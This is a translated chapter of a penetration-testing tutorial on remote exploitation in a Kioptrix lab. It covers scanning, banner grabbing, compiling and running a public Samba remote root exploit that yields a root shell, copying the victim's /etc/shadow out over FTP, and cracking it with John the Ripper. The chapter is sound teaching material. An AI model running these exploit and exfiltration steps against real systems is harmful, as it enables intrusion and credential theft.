高度安全环境下的高级渗透测试(二)

原文:annas-archive.org/md5/37A61AD0202D37F5F9B9CA71821CCC1E

译者:飞龙

协议:CC BY-NC-SA 4.0

第四章:远程利用

我们已经收集了数据,审查了信息,并为我们渗透测试的下一阶段选择了一些可能的目标。现在是时候走额外的一英里,证明发现的漏洞可能对底线产生影响。毕竟,这是你的客户需要了解和理解的关于他们的环境的。在本章中,我们将快速回顾利用的基础知识,然后转向更有趣的技术和方法,让我们了解我们正在测试的网络环境的真正安全状况。本章讨论的感兴趣的项目包括以下内容:

  • 向我们的沙盒虚拟网络添加一个易受攻击的机器,使你能够跟着本书中的例子进行操作

  • 编译和/或重写在互联网上找到的概念证明利用代码

  • 使用公开可用的利用代码手动利用远程漏洞

  • 将文件传输到受害者机器和从受害者机器传输文件

  • 使用 John the Ripper 进行密码破解

  • 使用 THC Hydra 进行暴力破解

  • Metasploit-学习并喜欢它

利用-为什么要费心?

你的潜在客户很可能不理解进行全面渗透测试的好处。仅仅枚举网络环境中已知的漏洞是不足以真正了解公司综合安全控制的有效性的;做好准备。

以下是完全利用提供的常见好处的快速清单:

  • **消除猜测和怀疑:**通过提供关键基础设施设备被攻破的证据,因此机密数据可能已经泄露、被篡改或不可用,问题变得“真实”,管理团队将拥有采取纠正措施所需的必要细节。

  • **验证缓解控制实际上…缓解:**与盲目接受理论缓解控制实际上有效不同,全面利用渗透测试使管理层能够证明安全措施正在按预期工作。

  • **发现安全架构中容易被忽视的漏洞:**受保护环境的管理员可能错误地认为,他们所拥有的各种安全层保护了机密数据的保密性、完整性和可用性。不幸的是,所有这些安全措施都存在使事情变得更加复杂的固有风险,从而为攻击者利用漏洞引入了新的可能性。完全利用渗透测试验证了网络中是否存在未知的安全漏洞。

进行全面渗透测试对企业可能有许多其他有用之处(除了可以勾选复选框的事实)。在与企业所有者或经理会面时,试着了解对他们的底线来说什么是重要的,并尝试确定你的技能和服务如何适应其中。

目标实践-添加 Kioptrix 虚拟机

渗透测试是一项需要练习才能做到完美的技能。为了鼓励本章节中材料的吸收,我们将添加一个有意地易受攻击的 Linux 发行版,由 Steven McElrea(又名 loneferret)和 Richard Dinelle(又名 haken29a)的www.kioptrix.com团队提供。前往www.kioptrix.com网站,选择你喜欢的语言,然后点击页面右侧的Kioptrix VM Level 1链接。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

一旦下载完成并将文件提取到所选文件夹中,我们将需要在我们的 Oracle VirtualBox 渗透测试实验室中创建一个新的虚拟机,并指示它使用我们已下载的虚拟机:

  • 名称:Kioptrix VM Level 1

  • 操作系统类型:其他 Linux

  • 内存:256

  • 启动磁盘:Kioptrix Level 1.vmdk(正常,3.00 GB)

确保选择使用现有硬盘选项:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

一旦进程成功完成,您应该验证您的设置是否与以下匹配:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

尽管我们将讨论一些复杂的方法和技术,但最好使用简单的机制来真正理解我们的利用是如何工作的。通过消除复杂性,我们可以专注于教训而不是耗时的故障排除。

提示

Kioptrix Level 1 虚拟机将从您的 DHCP 服务器获取 IP 地址。如果您尚未这样做,可以启用预先安装在 Oracle 虚拟盒中的内置 DHCP 服务器。您可以使用位于 Oracle 虚拟盒中的命令行 VBoxManage 工具进行配置。以下是dhcpserver add 命令的示例:

VBoxManage dhcpserver add netname Wlan1 ip 192.168.75.100 netmask 255.255.255.0 lowerip 192.168.75.101 upperip 192.168.75.150 enable

前面的命令将导致虚拟盒为连接到Wlan1网络的网络适配器提供 DHCP 服务。任何在内部网络Wlan1上请求 IP 的系统都将在192.168.75.101192.168.75.150之间接收一个地址。

**注意:**在 OSX 上,该命令将需要为每个使用的选项使用双划线。

有关 VboxManage 工具的更详细描述,请访问:www.virtualbox.org/manual/ch08.html

要跟随本章中的许多示例,您需要启动并运行 Kioptrix。启动 VirtualBox,将 Kioptrix 和 Backtrack Tester 1 会话的网络适配器指向 Wlan1,并启动两者。现在是时候回顾一些基本的利用方法了。

注意

使用dhclient <interface name>命令来获取 BackTrack 机器的 DHCP 地址。例如:dhclient int0

手动利用

在这一点上,我们应该在我们的虚拟环境中准备好两个系统:我们的 Kioptrix Level 1 机器将是我们的目标,我们的 BackTrack 机器将扮演攻击者的角色。在我们开始利用之前,我们需要确定我们的攻击计划。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

枚举服务

我们将首先使用nmap在我们的网络上找到机器。打开一个新的终端会话并键入:

nmap -f -n -P0 -v -p- -T4 192.168.75.0/24 

我们已经指示nmap使用分段数据包扫描 192.168.75.X 上的所有 TCP 端口的 IP。以下是结果的摘录:

Scanning 192.168.75.14 [65535 ports]
Discovered open port 139/tcp on 192.168.75.14
Discovered open port 80/tcp on 192.168.75.14
Discovered open port 22/tcp on 192.168.75.14
Discovered open port 443/tcp on 192.168.75.14
Discovered open port 111/tcp on 192.168.75.14
Discovered open port 32768/tcp on 192.168.75.14
Completed SYN Stealth Scan at 10:24, 8.05s elapsed (65535 total ports)
Nmap scan report for 192.168.75.14
Host is up (0.00017s latency).
Not shown: 65529 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
443/tcp open https
32768/tcp open filenet-tms
MAC Address: 08:00:27:21:21:62 (Cadmus Computer Systems)
Read data files from: /usr/local/bin/../share/nmap
Nmap done: 256 IP addresses (3 hosts up) scanned in 202.60 seconds
Raw packets sent: 262797 (11.555MB) | Rcvd: 131203 (5.249MB)

看一下突出显示的部分。您会注意到我们的目标机器有几个开放的 TCP 端口22、80、111、139、44332768

现在我们知道系统已经启动,并且结果表明有多个服务正在运行,我们有很多选择。我们可以使用netcat或其他类似的程序手动探测这些端口,以获取更多信息并可能获取一些横幅,或者我们可以开始对目标机器进行更彻底的扫描。

使用 Unicornscan 进行快速扫描

请记住,在选择工具时有许多可用的选项可供考虑。Unicorn scan 是一个非常快速的扫描程序,可以快速为我们扫描虚拟实验室。如果您的 Backtrack 版本没有安装 unicornscan,请在尝试以下示例之前使用以下命令语法:apt-get install Unicornscan

提示

在 BackTrack 5 R1 中,您必须将GeoIP.dat文件复制到您的etc目录以避免错误。您可以执行以下命令来解决错误:

cp /usr/share/GeoIP/GeoIP.dat /usr/local/etc/ unicornscan/ 

以下命令将在192.168.75.0/24段上扫描所有 TCP 端口(-mT是默认扫描类型),使用每秒500个数据包(-r500)。我们已经指示命令在接收到信息时提供给我们信息(使用-I选项):

# unicornscan -mT -r500 -I 192.168.75.0/24 

这将导致以下结果:

TCP open 192.168.75.14:32768 ttl 64
TCP open 192.168.75.14:22 ttl 64
TCP open 192.168.75.14:443 ttl 64
TCP open 192.168.75.14:139 ttl 64
TCP open 192.168.75.14:80 ttl 64
TCP open 192.168.75.2:80 ttl 64
TCP open 192.168.75.2:53 ttl 64
TCP open 192.168.75.14:111 ttl 64
TCP open domain[ 53] from 192.168.75.2 ttl 64
TCP open http[ 80] from 192.168.75.2 ttl 64
TCP open ssh[ 22] from 192.168.75.14 ttl 64
TCP open http[ 80] from 192.168.75.14 ttl 64
TCP open sunrpc[ 111] from 192.168.75.14 ttl 64
TCP open netbios-ssn[ 139] from 192.168.75.14 ttl 64
TCP open https[ 443] from 192.168.75.14 ttl 64
TCP open filenet-tms[32768] from 192.168.75.14 ttl 64 

我们还可以扫描开放的 UDP 端口,以完整地了解情况:

# unicornscan -mU -r500 -I 192.168.75.0/24 

在特定虚拟网络上会得到以下输出(您的扫描结果将根据当前实验室设置而变化):

UDP open 192.168.75.2:53 ttl 64
UDP open 192.168.75.255:53 ttl 64
UDP open 192.168.75.2:161 ttl 64
UDP open 192.168.75.14:32768 ttl 64
UDP open 192.168.75.14:137 ttl 64
UDP open 192.168.75.14:111 ttl 64
UDP open domain[ 53] from 192.168.75.2 ttl 64
UDP open snmp[ 161] from 192.168.75.2 ttl 64
UDP open sunrpc[ 111] from 192.168.75.14 ttl 64
UDP open netbios-ns[ 137] from 192.168.75.14 ttl 64
UDP open filenet-tms[32768] from 192.168.75.14 ttl 64 
UDP open domain[ 53] from 192.168.75.255 ttl 64

仔细审查前面输出的突出显示结果。这些信息将用于确定针对目标系统执行哪些攻击。

使用 Nmap 进行完整扫描

现在我们知道将要针对哪个系统进行攻击,让我们看看有针对性的nmap扫描会为我们提供什么:

# nmap -n -sTUV -pT:22,80,111,139,443,32768,U:111,137,32768 192.168.75.14 

在这里,我们决定对我们的开放端口进行 UDP 和 TCP 扫描,以确定它们的状态。我们使用-sTUV开关通知 nmap 我们正在寻找 UDP 和 TCP,并提供软件版本;然后使用-p选项指定要扫描的端口范围。U:表示端口是 UDP。以下是输出:

Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-11-13 11:27 EST
Nmap scan report for 192.168.75.14
Host is up (0.00089s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 2.9p2 (protocol 1.99)
80/tcp open http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
111/tcp open rpcbind
139/tcp open netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp open ssl/http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
32768/tcp open rpcbind
111/udp open rpcbind
137/udp open netbios-ns Microsoft Windows XP netbios-ssn
32768/udp open rpcbind
MAC Address: 08:00:27:21:21:62 (Cadmus Computer Systems)
Service Info: Host: KIOPTRIX; OS: Windows
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.14 seconds

现在我们有了可以使用的信息。我们知道哪些端口是开放的,也大致知道哪些服务正在运行。

注意

注意到 OS: Windows 的结果表明这是一台 Windows 机器,但实际上并不是。审查所有数据以做出这些判断非常重要,不要仅仅依赖于一个结果。

如果您审查结果,可能会注意到此机器上运行着许多过时的服务。我们将利用这一事实,并使用常见的已知漏洞来破坏该单位。我们可能需要手动验证这些结果。现在我们尝试抓取一些横幅,看看我们正在处理什么。

使用 Netcat 和 Ncat 进行横幅抓取

Netcat 是一个非常强大的工具,可以在枚举和利用阶段使用,甚至可以用于文件传输或创建后门。我们还将 Netcat 与 Ncat 进行比较,后者是 Nmap 团队提供的工具之一。

使用 Netcat 进行横幅抓取

为了连接到192.168.75.14上的端口80,我们可以使用以下命令:

# nc 192.168.75.14 80 

这将连接我们到 Kioptrix 机器上的 Web 服务器。我们需要调用一个命令来接收信息输出。输入:

HEAD / HTTP 1.1 

Enter键两次并查看输出:

HTTP/1.1 200 OK
Date: Fri, 11 Nov 2011 21:19:49 GMT
Server: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
Last-Modified: Thu, 06 Sep 2001 03:12:46 GMT
ETag: "8805-b4a-3b96e9ae"
Accept-Ranges: bytes
Content-Length: 2890
Connection: close
Content-Type: text/html

这看起来很熟悉。我们已经讨论过 HTTP 标头的好处;上面的信息表明该机器正在运行 Apache 1.3.20,RedHat Linux,使用mod_ssl版本 2.8.4 和OpenSSL版本 0.9.6b。

注意

在测试过程中记录任何操作是一个好习惯。这将帮助您在将来与客户的交谈中,并且还可以轻松地在以后复制您的测试。

这个过程也可以继续进行其他端口。

使用 Ncat 进行横幅抓取

Ncat 也可以用于抓取http横幅。操作方法如下:

# ncat 192.168.75.14 80 

Ncat 使用与 Netcat 相同的语法进行连接。输入以下内容并按Enter键两次:

HEAD / HTTP 1.1 

我们得到以下输出:

HTTP/1.1 200 OK
Date: Fri, 11 Nov 2011 21:50:53 GMT
Server: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
Last-Modified: Thu, 06 Sep 2001 03:12:46 GMT
ETag: "8805-b4a-3b96e9ae"
Accept-Ranges: bytes
Content-Length: 2890
Connection: close
Content-Type: text/html

google.com上快速搜索mod_ssl/2.8.4会显示存在我们可以利用的漏洞。

使用 smbclient 进行横幅抓取

一个特别有趣的端口是 139/TCP。使用smbclient工具,我们可以抓取此服务器的横幅。让我们试一试:

# smbclient -L 192.168.75.14 -N 

此命令调用smbclient并指示它连接到192.168.75.14,然后显示服务器信息。-N开关表示我们没有此连接的根密码。结果如下:

Anonymous login successful
Domain=[MYGROUP] OS=[Unix] Server=[Samba 2.2.1a]
Sharename Type Comment
--------- ---- -------
cli_rpc_pipe_open_noauth: rpc_pipe_bind for pipe \srvsvc failed with error ERRnosupport
IPC$ IPC IPC Service (Samba Server)
ADMIN$ Disk IPC Service (Samba Server)
Anonymous login successful
Domain=[MYGROUP] OS=[Unix] Server=[Samba 2.2.1a] 
Server Comment
--------- -------
KIOPTRIX Samba Server
Workgroup Master
--------- -------
MYGROUP KIOPTRIX

注意Samba版本是2.2.1a。我们将使用这些信息搜索此服务的任何已知漏洞。

搜索 Exploit-DB

Exploit-DB.com上,您将能够找到关于已知漏洞和验证其有效性的概念代码的丰富信息。使用提供的概念代码可以帮助您确定您的特定软件是否容易受到这些攻击。概念代码还提供了一种理解个别漏洞的基本原理的机制,从而使您能够确保您的缓解控制是否正常运行。Exploit-DB.com团队花费了很多个人时间来确保提交的概念代码实际上按照描述的方式工作。

注意

如果您正在尝试从受限的虚拟实验室内访问此网站,您需要确保您的 BackTrack 盒子上设置了允许这样做的网络适配器。然而,建议您不要以任何方式将您的实验室连接到互联网。有几种安全的方法可以将文件传输到您的虚拟机——试试看!

让我们搜索与 Samba 版本 2.2.1a 相关的漏洞。

  1. 转到www.exploit-db.com

  2. 点击顶部导航栏中的“搜索”。外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  3. 一旦进入搜索页面,在描述:字段中键入Samba

  4. 端口:字段中键入139

  5. 点击搜索按钮。外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

如果有任何结果,您将看到与您的搜索匹配的漏洞列表。我们需要查看这些结果,看看是否有任何看起来适合我们需求的。

手头的 Exploit-DB

使用 BackTrack 的一个非常棒的方面是,团队自动包括exploit-db.com数据库的本地副本作为分发的一部分。您可以通过转到/pentest/exploits/exploitdb并使用./searchsploit命令后跟搜索词来搜索此列表。

# ./searchsploit samba 

这将产生以下输出:

Description Path
------------------------------------------------------------- Samba 2.2.x Remote Root Buffer Overflow Exploit /linux/remote/7.pl
Samba 2.2.8 Remote Root Exploit - sambal.c /linux/remote/10.c 
Samba 2.2.8 (Bruteforce Method) Remote Root Exploit /linux/remote/55.c
MS Windows XP/2003 Samba Share Resource Exhaustion Exploit /windows/dos/148.sh
Samba <= 3.0.4 SWAT Authorization Buffer Overflow Exploit /linux/remote/364.pl
Sambar FTP Server 6.4 (SIZE) Remote Denial of Service Exploit /windows/dos/2934.php
GoSamba 1.0.1 (include_path) Multiple RFI Vulnerabilities /php/webapps/4575.txt
Samba 3.0.27a send_mailslot() Remote Buffer Overflow PoC /linux/dos/4732.c
Samba (client) receive_smb_raw() Buffer Overflow Vulnerability PoC /multiple/dos/5712.pl
Samba (client) receive_smb_raw() Buffer Overflow Vulnerability PoC /multiple/dos/5712.pl
Samba < 3.0.20 Remote Heap Overflow Exploit (oldie but goodie) /linux/remote/7701.txt
Samba 2.2.0 - 2.2.8 trans2open Overflow (OS X) /osX/remote/9924.rb
Samba 2.2.x nttrans Overflow /linux/remote/9936.rb
Samba 3.0.21-3.0.24 LSA trans names Heap Overflow /linux/remote/9950.rb
Samba 3.0.10 - 3.3.5 Format String And Security Bypass Vulnerabilities /multiple/remote/10095.txt
Samba Multiple DoS Vulnerabilities /linux/dos/12588.txt
Samba ""username map script"" Command Execution /unix/remote/16320.rb
Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow /linux/remote/16321.rb
Samba lsa_io_trans_names Heap Overflow /solaris/remote/16329.rb
Samba trans2open Overflow (Solaris SPARC) /solaris/sparc/remote/16330.rb
Sambar 6 Search Results Buffer Overflow /windows/remote/16756.rb
Samba lsa_io_trans_names Heap Overflow /linux/remote/16859.rb
Samba chain_reply Memory Corruption (Linux x86) /linux/remote/16860.rb
Samba trans2open Overflow (Linux x86) /linux/remote/16861.rb
Samba lsa_io_trans_names Heap Overflow /osX/remote/16875.rb
Samba trans2open Overflow (Mac OS X PPC) /os-x/ppc/remote/16876.rb
Samba trans2open Overflow (*BSD x86) /linux/remote/16880.rb

我们将尝试使用 C 语言编写的Samba 2.2.8 远程根漏洞利用 - sambal.c,位于/linux/remote/10.c。这种特定的利用是使用 C 语言编写的,因此在使用之前必须进行编译。

# cp /pentest/exploits/exploitdb/platforms/linux/remote/10.c /root/10.c 

这个命令将文件复制到我们选择的目录,本例中是/root,这样更容易处理。有时文件可能会立即编译;在这种情况下,您可以简单地运行以下命令并继续进行下一阶段。

注意

要小心!

您必须理解正在编译的代码。在这一点上,我们正在针对受限的实验室环境进行测试,但是当到达在连接到外部世界的环境中执行这些任务的时候,代码既干净又来自可信任的来源是至关重要的。在尝试针对他人网络运行之前,您应该了解利用代码的每个阶段。许多人认为最好的方法是为手动利用创建自己的 shellcode,这样您就会准确知道运行时会发生什么。在将这种类型的代码投入实时生产之前,在自己的受控虚拟环境中对其进行单元测试,以充分了解您正在运行的代码的影响,特别是如果您选择的利用包括 shellcode 的话。

编译代码

在这里,我们将尝试在审查代码后不做任何修改地编译 10.c。这里执行的步骤对使用 C 语言编写的每种类型的利用代码都是相似的。

# vim 10.c 

审查此代码。滚动查看它,看看您是否能理解当运行此代码时会发生什么。

提示

如果您不熟悉 VIM,有几个网站提供了对这个复杂而强大工具的很好的评论。Packt Publishing 还提供了购买《Hacking VIM 7.2》,如果您想以简洁、实用的方式更多地了解它。现在,当您在 VIM 中时,您可以使用:q退出返回到 shell 提示符。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

编译概念代码

代码审查完毕后,尝试编译它。使用:q命令序列退出 VIM,并在命令提示符下输入以下内容:

# gcc 10.c -o SambaVuln10 

我们正在调用 GCC 编译器,并将我们的 10.c 源代码文件输入并输出到文件SambaVuln。如果一切按计划进行,你将不会收到任何反馈,命令提示符将显示出来。

注意

有人认为编译概念验证利用的难度会减少脚本小子的数量,因为他们缺乏排除代码错误的技能。

一些安全研究人员甚至会故意添加错误,比如拼写错误,以阻止脚本小子将概念验证代码用于恶意用途。

如果你在编译过程中遇到任何问题,你需要仔细检查代码并解决问题,直到它能够正确编译。

代码故障排除

你可能会遇到的错误类型包括代码的注释不当、额外字符、无效格式或者甚至是故意输入的无效代码,以使新手编译更加困难。

让我们看一下在使用代码库中的代码时似乎经常出现的一个常见问题。

所有这些^M 字符是什么,为什么它们不会消失?

你可能会查看你的代码,意识到你有一些(或者很多!)不需要的字符,比如^M,不管你怎么努力,它们就是不会消失。你可以使用 VIM 来解决这个问题,方法是在 VIM 中打开你的有问题的文件,然后输入:%s/,按下Ctrl + V,然后Ctrl + M,接着输入//g,结果如下。

:%s/^M//g

然后按Enter。这指示 VIM 删除整个文件中所有**^M**的出现(%s)。以下是我们将使用此命令删除的示例:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

破碎的字符串-重聚

有时代码的格式可能不正确。重要的是要注意,这将使 GCC 处理变得非常困难。仔细检查代码,确保一切都是应该的。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

代码审查并纠正错误后,尝试再次编译,直到没有更多错误为止。

运行利用

希望前面的步骤相当轻松;清理别人提供的代码可能是一个繁琐的过程。如果利用代码编译正常,我们可以简单地执行它,看看还需要什么其他输入:

# ./SambaVuln10 

这个命令的输出如下:

samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
--------------------------------------------------------------
Usage: ./SambaVuln10 [-bBcCdfprsStv] [host]
-b <platform> bruteforce (0 = Linux, 1 = FreeBSD/NetBSD, 2 = OpenBSD 3.1 and prior, 3 = OpenBSD 3.2)
-B <step> bruteforce steps (default = 300)
-c <ip address> connectback ip address
-C <max childs> max childs for scan/bruteforce mode (default = 40)
-d <delay> bruteforce/scanmode delay in micro seconds (default = 100000)
-f force
-p <port> port to attack (default = 139)
-r <ret> return address
-s scan mode (random)
-S <network> scan mode
-t <type> presets (0 for a list)
-v verbose mode

我们已经对我们的目标机器有了几个关键信息,包括它很可能在运行 Linux,并且 IP 地址是 192.168.75.14。让我们使用利用的扫描模式,看看我们是否遗漏了什么有趣的东西:

./SambaVuln10 -v -d 0 -S 192.168.75 

Samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
--------------------------------------------------------------
+ Scan mode.
+ Verbose mode.
+ [192.168.75.14] Samba

我们可以看到我们的目标机器是通过eSDeewww.netric.org上的概念验证远程根漏洞利用发现的。现在我们将继续,最终利用这台机器。

# ./SambaVuln10 -b 0 -v 192.168.75.14 

我们调用SambaVuln10文件;让它知道目标系统是 Linux,并提供指令来显示详细结果。输出如下:

samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
--------------------------------------------------------------
+ Verbose mode.
+ Bruteforce mode. (Linux)
+ Host is running samba.
+ Using ret: [0xbffffed4]
+ Using ret: [0xbffffda8]
+ Using ret: [0xbffffc7c]
+ Using ret: [0xbffffb50]
+ Worked!
--------------------------------------------------------------
*** JE MOET JE MUIL HOUWE
Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
uid=0(root) gid=0(root) groups=99(nobody)

如果你是新手渗透测试,这个输出可能有点令人困惑。你刚刚成功获得了目标机器的 root 权限,此时你可以开始许多通常需要的后期利用步骤,以在网络中获得一个良好的立足点。你会注意到一些命令不起作用,而一些命令起作用。尝试以下操作:

# ls 

嗯…什么都没发生。也许你实际上没有获得 root 权限?让我们尝试一些不同的东西。

# cd /
# ls

这更像样了!现在你应该看到/的完整目录列表。

bin
boot
dead.letter
dev
etc
home
initrd
lib
lost+found
misc
mnt
opt
proc
root
sbin
tmp
usr
var

此时有许多其他命令可以使用,还有一些后期利用的技巧,我们将专门为此撰写一整章。在我们继续之前,我们将进行一次检查,看看这台机器上是否有什么有趣的东西:

您在这台机器上是谁?

whoami 

root

我连接到哪个系统?

hostname 

kioptrix.level1

lastlog 

谁登录到这个系统以及何时?

Username Port From Latest
root pts/0 192.168.1.200 Mon Oct 12 07:27:46 -0400 2009
bin **Never logged in**
daemon **Never logged in**
adm **Never logged in**
lp **Never logged in**
sync **Never logged in**
shutdown **Never logged in**
halt **Never logged in**
mail **Never logged in**
news **Never logged in**
uucp **Never logged in**
operator **Never logged in**
games **Never logged in**
gopher **Never logged in**
ftp **Never logged in**
nobody **Never logged in**
mailnull **Never logged in**
rpm **Never logged in**
xfs **Never logged in**
rpc **Never logged in**
rpcuser **Never logged in**
nfsnobody **Never logged in**
nscd **Never logged in**
ident **Never logged in**
radvd **Never logged in**
postgres **Never logged in**
apache **Never logged in**
squid **Never logged in**
pcap **Never logged in**
john pts/0 192.168.1.100 Sat Sep 26 11:32:02 -0400 2009
harold **Never logged in**

您可能已经知道,攻击者可以通过运行这个简单的概念验证代码在这台机器上获取 root 权限的事实是一个重大问题。您应该建议您的客户将所有已安装的软件更新到可能的最新版本,以避免这样简单的妥协。

从受害机器获取文件

在远程机器上获取 root 权限可能会很有趣,绝对是朝着正确方向迈出的重要一步(取决于您的范围和测试目的,这可能是唯一必要的步骤)。如果您的任务尚未完成,那么您需要找到传输数据到受害机器和从受害机器传输数据的方法。有几种工具可以帮助完成这项任务;以下是一些可能会让您的生活更轻松的工具。

在 BackTrack 5 上安装和启动 TFTP 服务器

TFTP 有时可能非常方便。许多系统已经安装了 TFTP 客户端,并且使用这种协议快速而简单。

# apt-get install atftpd 

注意

确保在安装过程中您的 BackTrack 机器已连接到互联网。要熟悉atftpd服务器,请在命令提示符中键入atftpd,而不需要任何其他输入。

通过键入以下内容,可以将 TFTP 作为独立守护程序启动,指向标准端口上的/tmp,并绑定到 IP 地址192.168.75.12

# atftpd --daemon --port 69 --bind-address 192.168.75.12 /tmp 

您可以通过调用 netstat 并使用 69 进行 grep 来检查守护程序是否正确启动。

# netstat -anu |grep 69 

如果一切都正确启动,您应该看到类似于以下内容:

udp 0 0 192.168.75.12:69 0.0.0.0:*

安装和配置 pure-ftpd

如果您的 BackTrack 版本没有安装 pure-ftpd,则可以使用apt-get install pure-ftpd命令进行安装。为了完全使用 pure-ftpd 的功能,您需要在使用之前添加用户并进行其他较小的配置更改。

# echo /etc/pure-ftpd/pureftpd.pdb > PureDB 

/etc/pure-ftpd/pureftpd.pdb添加到PureDB配置文件中:

# ln -s /etc/pure-ftpd/conf/PureDB /etc/pure-ftpd/auth/50pure 

创建一个符号链接到50pure文件:

# groupadd -g 7777 ftpz 

向 BackTrack 客户机添加一个组:

# useradd -u 7777 -s /bin/false -d /dev/null -c "pureFTP" -g ftpz Testerz 

创建将要使用的文件夹:

# mkdir /var/ftp /var/ftp/public /var/ftp/public/ftplogin 

修改所有权:

# chown -R Testerz:ftpz /var/ftp/public/ftplogin 

将帐户添加到系统:

# pure-pw useradd ftplogin -u Testerz -d /var/ftp/public/ftplogin 

Password: password
Enter it again: password

设置一个可以与 FTP 连接一起使用的虚拟帐户:

# pure-pw mkdb 

重新加载数据库:

# pure-pw show ftplogin 

在 Pure-FTP 数据库中进行快速查找,以了解用户统计信息。

Login : ftplogin
Password : $1$/NF5jAg0$I0oRJKViA5NYs455Afelr1
UID : 7777 (Testerz)
GID : 7777 (ftpz)
Directory : /var/ftp/public/./
Full name :
Download bandwidth : 0 Kb (unlimited)
Upload bandwidth : 0 Kb (unlimited)
Max files : 0 (unlimited)
Max size : 0 Mb (unlimited)
Ratio : 0:0 (unlimited:unlimited)
Allowed local IPs :
Denied local IPs :
Allowed client IPs :
Denied client IPs :
Time restrictions : 0000-0000 (unlimited)
Max sim sessions : 0 (unlimited)

启动 pure-ftpd

以下命令将启动pure-ftpd:

#/etc/init.d/pure-ftpd start 

您将看到以下输出:

Starting ftp server: Running: /usr/sbin/pure-ftpd -l pam -8 UTF-8 -E -u 1000 -O clf:/var/log/pure-ftpd/transfer.log -B

可以通过连接到 localhost 来测试该服务器:

# ftp 127.0.0.1 

输出应该类似于以下内容:

Connected to 192.168.75.12.
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220-You are user number 1 of 50 allowed.
220-Local time is now 17:02\. Server port: 21.
220-IPv6 connections are also welcome on this server.
220 You will be disconnected after 15 minutes of inactivity.
Name (192.168.75.12:root): ftplogin
331 User ftplogin OK. Password required
Password:
230-User ftplogin has group access to: 7777
230 OK. Current directory is /
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

注意

**生产环境与受控测试实验室环境之间的区别:**考虑在您的生产 BackTrack 实例上设置一个专用用户帐户和适当的安全措施。确保为 FTP 帐户提供必要的写入文件权限,否则,当从受害机器进行这些尝试时,预计会收到错误。

密码:您知道的东西…

在当今这个时代,人们可能会认为所有系统都使用多因素身份验证。不幸的是,情况并非如此。即使所谓的“安全网络”仍在使用发送明文密码的协议,系统仍在使用不安全的加密协议等。每个渗透测试人员都应该尝试掌握的一项基本技能(就像下棋一样:学起来容易,精通起来难)是密码破解的艺术。我们将从一些简单的例子开始,以巩固这个概念,然后转向该领域最优秀人员使用的一些策略。

破解哈希

繁忙的用户甚至管理员经常重复使用密码。无论网络上的系统有多重要,一旦您获得了密码哈希值,它们应立即被破解并添加到您已经放置的任何字典文件中。这可能会节省大量时间。

首先,我们需要从受害者机器中提取一些文件。启动您的 BackTrack Tester 1 和 Kioptrix Level 1 虚拟机,运行您之前编译的漏洞利用程序,并将passwd文件下载下来,以便我们可以对其运行 Jack。

  1. 在实验室中启动所有必要的虚拟设备(BackTrack Tester 1,Kioptrix)。

  2. 运行./SambaVuln_10 -b 0 192.168.75.14

  3. 您现在已连接为kioptrix.level1上的 root 用户。

  4. 在您的 BackTrack 虚拟机上打开一个新的终端会话,并启动pure-ftpd

  5. 在连接到 Kioptrix 机器的 shell 中,使用 FTP 连接到 BackTrack 机器上的 FTP 服务器:

cd /etc

  • 转到/ etc 目录。请记住,您将无法从受害者机器上获得太多反馈。
ls

  • 您应该看到 Kioptrix /etc 目录的目录列表。
ftp 192.168.75.12 

  • 在 BackTrack 机器上的 FTP 服务器上输入我们创建的用户名(ftplogin)。
Password: password 

  • 输入 FTP 服务器帐户的密码。等待片刻,然后输入:
put shadow 

  • 等待片刻,然后输入:
ls
exit

  • 您应该看到目标 FTP 站点的目录列表。
  1. CTRL + Q将使您退出 Kioptrix 机器。

注意

您也可以简单地执行cat shadow并使用鼠标复制屏幕输出。然而,了解如何从目标机器中提取文件非常重要,特别是如果文件非常大的话。

现在我们在 BackTrack 机器上有了 shadow 文件,让我们看看我们能做些什么。

# cd /pentest/passwords/john 

一旦我们浏览到正确的目录,我们就可以针对我们的 Kioptrix shadow 文件启动 john:

# john /var/public/shadow 

John 将开始尝试对 MD5 密码进行暴力破解。

Loaded 3 password hashes with 3 different salts (FreeBSD MD5 [32/64 X2])

注意

如果您幸运或极其耐心,您将获得目标机器的未加密密码。根据密码复杂性和系统速度的组合,此步骤可能需要从几分钟到几周不等的时间。有第三方服务可用于破解密码,但在使用这些服务时必须在您的规则中明确允许,因为您将失去对发送到第三方的任何数据的控制。

暴力破解密码

暴力破解仍然是一种非常可行的获得对机器访问权限的方法。密码的问题在于人们必须能够随时记住它们。试图记住 233!sdsfF_DaswsaWlsc!!&$#_ 对大多数人来说可能会很困难,因此我们最终会得到一个常用密码的短列表,如 ILoveKellie1!。这个问题在于有几种方法可以缩小可能密码列表的范围,并且当前的计算机在家用台式机上拥有多达 8 个处理器核心。

提示

密码破解可以通过使用多个视频卡和它们的 GPU 来完成。如果资源可用,这是首选方法。

